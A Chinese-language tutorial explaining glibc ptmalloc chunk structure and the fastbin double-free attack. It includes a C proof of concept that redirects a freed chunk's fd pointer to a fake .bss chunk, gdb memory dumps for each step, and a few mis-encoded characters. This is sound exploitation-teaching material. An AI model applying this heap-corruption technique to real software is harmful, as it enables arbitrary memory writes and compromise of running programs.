ptmalloc
ptmalloc的基本思路是將堆上的記憶體區域劃分為多個chunk,在分配/回收記憶體時,對chunk進行分割、回收等操作,在32位系統下,chunk頭的大小為8 Bytes,且每個chunk的大小也是8 Bytes的整數倍,
chunk頭包括以下兩部分:
prev_size: 如果當前chunk的相鄰前一chunk未被使用,prev_size為此前一chunk的大小 size: 當前chunk的大小,由于chunk大小是8的整數倍,所以此size的后3 bit被用于存盤其他資訊,我們需要記住的便是最低bit,即圖中P的位置,用于指示前一chunk是否已被使用(PREV_INUSE),
如果當前chunk處于未被使用狀態,則mem前8 bytes被用來存盤其他資訊,具體如下:
fd: 下一個未被使用的chunk的地址 bk: 上一個未被使用的chunk的地址
chunk結構
struct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; }; typedef struct malloc_chunk* mchunkptr;
Allocated chunk:

在圖中,chunk 指標指向一個 chunk 的開始,一個 chunk 中包含了用戶請求的記憶體區域和相關的控制資訊,
圖中的 mem 指標才是真正回傳給用戶的記憶體指標,
chunk 的第二個域的最低一位為 P,它表示前一個塊是否在使用中,P 為 0 則表示前一個 chunk 為空閑(并非指鏈表中的前一個堆塊,而是連續記憶體中的前一塊記憶體),這時 chunk 的第一個域 prev_size 才有效,prev_size 表示前一個 chunk 的 size,程式可以使用這個值來找到前一個 chunk 的開始地址,
當 P 為 1 時,表示前一個 chunk 正在使用中,prev_size無效,程式也就不可以得到前一個 chunk 的大小,不能對前一個 chunk 進行任何操作,ptmalloc 分配的第一個塊總是將 P 設為 1,以防止程式參考到不存在的區域,
Chunk的第二個域的倒數第二個位為M,他表示當前chunk是從哪個記憶體區域獲得的虛擬記憶體,M 為 1 表示該 chunk 是從 mmap 映射區域分配的,否則是從 heap 區域分配的,
Chunk 的第二個域倒數第三個位為 A,表示該 chunk 屬于主分配區或者非主分配區,如果屬于非主分配區,將該位置為 1,否則置為 0,
對于32位機,8位元組對齊,對于64位機,16位元組對齊
32位機中,一個使用中的 chunk 的大小的計算公式應該是: in_use_size = (用戶請求大小+ 8 - 4 ) align to 8B,這里加 8 是因為需要存盤 prev_size 和 size, 但又因為向下一個 chunk“借”了 4B,所以要減去 4,
Chunk可分為4類:1)allocated chunk;2)free chunk; 3)top chunk; 4)Last remainder chunk,
從本質上來說,所有型別的chunk都是記憶體中一塊連續的區域,只是通過該區域中特定位置的某些識別符號加以區分,allocated chunk表示已經分配給用戶使用的chunk;free chunk表示未使用的chunk,
Fastbin Attack
glibc通過fastbin來管理?度較小的堆塊,fastbin所包含chunk的大小為16 Bytes, 24 Bytes, 32 Bytes, … , 80 Bytes,當分配一塊較小的記憶體(mem<=64 Bytes)時,會首先檢查對應大小的fastbin中是否包含未被使用的chunk,如果存在則直接將其從fastbin中移除并回傳;否則通過其他方式(剪切top chunk)得到一塊符合大小要求的chunk并回傳,

fastbin特點:
• 單鏈表結構
• 遵循LIFO(Last In First Out)的分配策略
• 每次加?入新的堆塊時會檢查
該堆塊是否為鏈表頭節點
fastbin攻擊原理
fastbin attack 存在的原因在于 fastbin 是使用單鏈表來維護釋放的堆塊的,并且由 fastbin 管理的 chunk 即使被釋放,其 next_chunk 的 prev_inuse 位也不會被清空,
1. Double Free
Fastbin Double Free 是指 fastbin 的 chunk 可以被多次釋放,因此可以在 fastbin 鏈表中存在多次,這樣導致的后果是多次分配可以從 fastbin 鏈表中取出同一個堆塊,相當于多個指標指向同一個堆塊,結合堆塊的資料內容可以實作類似于型別混淆的效果,Fastbin Double Free 能夠成功利用主要有兩部分的原因:一是fastbin 的堆塊被釋放后 next_chunk 的 pre_inuse 位不會被清空;二是fastbin 在執行 free 的時候僅驗證了 main_arena 直接指向的塊,即鏈表指標頭部的塊,對于鏈表后面的塊,并沒有進行驗證,
int main(void) { void *chunk1,*chunk2,*chunk3; chunk1=malloc(0x10); chunk2=malloc(0x10); free(chunk1); free(chunk2); free(chunk1); return 0; }
因為chunk1 被再次釋放其 fd 值不再為0而是指向chunk2,如果控制 chunk1 的內容,便可以寫入其 fd 指標從而實作在我們想要的任意地址分配 fastbin 塊,
示例代碼:
#include <stdio.h> #include <stdlib.h> typedef struct _chunk { long long pre_size; long long size; long long fd; long long bk; } CHUNK,*PCHUNK; CHUNK bss_chunk; int main(void) { void *chunk1,*chunk2,*chunk3; void *chunk_a,*chunk_b; bss_chunk.size=0x21; //注意,在malloc時會檢查chunk的size,如果其 size 與當前 fastbin 鏈表應有 size 不符就會拋出例外, chunk1=malloc(0x10); chunk2=malloc(0x10); free(chunk1); free(chunk2); free(chunk1); chunk_a=malloc(0x10); *(long long *)chunk_a=&bss_chunk; malloc(0x10); malloc(0x10); chunk_b=malloc(0x10); printf("%p",chunk_b); return 0; }
當程式執行到free(chunk2)后,ptmalloc是管理fastbin的方法:
gdb-peda$ x/20xg 0x602000 0x602000: 0x0000000000000000 0x0000000000000021 ————————>chunk1 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000021 ————————>chunk2 0x602030: 0x0000000000602000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000020fc1 ————————>top chunk 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000000
此時chunk2的fd指向chunk1,而chunk1的fd為空,fastbin鏈表為main_arena=>chunk2=>chunk1,再次執行free(chunk1)后
gdb-peda$ x/20xg 0x602000 0x602000: 0x0000000000000000 0x0000000000000021 ————————>chunk1 0x602010: 0x0000000000602020 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000021 ————————>chunk2 0x602030: 0x0000000000602000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000020fc1 ————————>top chunk 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000000
此時chunk2的fd指向chunk1,而chunk1的fd指向chunk2,fastbin鏈表為main_arena=>chunk1=>chunk2=>chunk1,
gdb-peda$ p main_arena $1 = { mutex = 0x0, flags = 0x0, fastbinsY = {0x602000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
此時申請chunk_a,fastbin鏈表為main_arena=>chunk2=>chunk_a=>chunk2,并將chunk_a的指標域修改為要修改的地址-0x10以上(此處選擇的是bss_chunk:0x601080)
gdb-peda$ p main_arena $2 = { mutex = 0x0, flags = 0x0, fastbinsY = {0x602020, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, top = 0x602040,
0x602000: 0x0000000000000000 0x0000000000000021 ————————>chunk_a 0x602010: 0x0000000000602000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000021 ————————>chunk2 0x602030: 0x0000000000602000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000020fc1 ————————>top chunk 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000000
并將chunk_a的指標域修改為要修改的地址-0x10以上(此處選擇的是bss_chunk:0x601080)
gdb-peda$ p main_arena $3 = { mutex = 0x0, flags = 0x0, fastbinsY = {0x602020, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, gdb-peda$ x/20xg 0x602000 0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x0000000000601080 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000021 0x602030: 0x0000000000602000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000020fc1 0x602050: 0x0000000000000000 0x0000000000000000
chunk1 的 fd 指標指向 bss 段上的 bss_chunk,fastbin鏈表為main_arena=>chunk2=>chunk_a=>malloc_hook(bss_chunk),
申請一個new chunk 2:
gdb-peda$ p main_arena $4 = { mutex = 0x0, flags = 0x0, fastbinsY = {0x602000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, top = 0x602040,
gdb-peda$ x/20xg 0x602000 0x602000: 0x0000000000000000 0x0000000000000021 ————————>chunk_a 0x602010: 0x0000000000601080 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000021 ————————>chunk2 0x602030: 0x0000000000602000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000020fc1 ————————>top chunk 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000000
此時new chunk2被申請后,fastbin鏈表為main_arena=>chunk_a=>bss_chunk,
再申請一個new chunk 3(new chunk 3是和chunk_a重合的)
gdb-peda$ p main_arena $5 = { mutex = 0x0, flags = 0x0, fastbinsY = {0x601080 <bss_chunk>, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
gdb-peda$ x/20xg 0x602000 0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x0000000000601080 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000021 0x602030: 0x0000000000602000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000020fc1 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000000
此時new chunk 3與chunk_a重合,fastbin鏈表為main_arena=>bss_chunk已經指向了我們想要修改的地址了,只要再申請一個堆塊就會申請到想要修改的地址,然后只要編輯這個堆塊便可完成任意地址寫,
gdb-peda$ c Continuing. 0x601090[Inferior 1 (process 17012) exited normally] Warning: not running gdb-peda$ x/20xg 0x601080 0x601080 <bss_chunk>: 0x0000000000000000 0x0000000000000000 0x601090 <bss_chunk+16>: 0x0000000000000000 0x0000000000000000 0x6010a0: Cannot access memory at address 0x6010a0
參考
圖解fastbin:https://blog.csdn.net/Breeze_CAT/article/details/103788698
ctf-wiki:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack-zh/
fastbin attack:https://www.cnblogs.com/countfatcode/p/11829124.html
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/5086.html
標籤:其他
上一篇:linux下通過安裝xampp搭建環境卸載xampp、以及網站搬家-64位系統Apache啟動不了的問題
下一篇:報錯型sql注入
